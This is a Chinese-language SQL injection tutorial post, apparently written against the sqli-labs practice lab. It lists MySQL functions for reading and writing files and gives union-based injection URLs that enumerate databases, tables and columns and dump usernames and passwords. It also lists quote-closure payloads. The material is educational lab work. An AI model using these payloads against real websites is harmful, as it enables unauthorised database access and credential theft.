zoukankan      html  css  js  c++  java
  • WEB安全基础之sql注入基础

    1.基础sql语句

    注释 单行注释
    # %23
    --+ --加空格
    多行注释
    /**/

    SELECT
    (VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SELECT(@@datadir) 查数据库路径 SELECT(@@version_compile_os) 查系统版本
    version() 数据库版本
    load_file() 读文件操作
    current_user() 当前用户名(可用来查看权限
    Into outfile() / into dumpfile 写文件 show DATABASES
    use security show tables select username,password from users use information_schema show tables desc tables select SCHEMA_name from information_schema.schemata 查所有的数据库 select table_name from information_schema.tables where table_schema = "security" 查表 select column_name from information_schema.COLUMNS where table_name = "users" 查列 select username,password from SECURITY.users where id =10 查列的内容

    2.显注----基本联合注入

    由上可知注入代码为

    1.查询当前数据库和用户

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()


    2.查询所有数据库

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata
    

     3.查某数据库下的所有表名

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'

    4.查某表下所有列(字段)名

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'

    5.查询字段的内容

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,'--',username,'--',password) from users

    某一猥琐手法

    http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2  

    1.一般求闭合字符

    数字型                              闭合方法
    
    字符型 'id'                         ' and 1=1--+
    
    "id"                               " and 1=1--+
    
    ("id")                             ") and 1=1--+
    
    ('id')                             ') and 1=1--+
    
  • 相关阅读:
    Pycharm中导入Python包的方法
    关于SOA架构设计的案例分析
    浅谈12306核心模型设计思路和架构设计
    美图数据统计分析平台架构演进
    有赞搜索系统的架构演进
    美团云的网络架构演进之路
    数据蜂巢架构演进之路
    1号店电商峰值与流式计算
    京东B2B业务架构演变
    饿了么:业务井喷时订单系统架构的演进
  • 原文地址:https://www.cnblogs.com/hackxf/p/8877104.html
Copyright © 2011-2022 走看看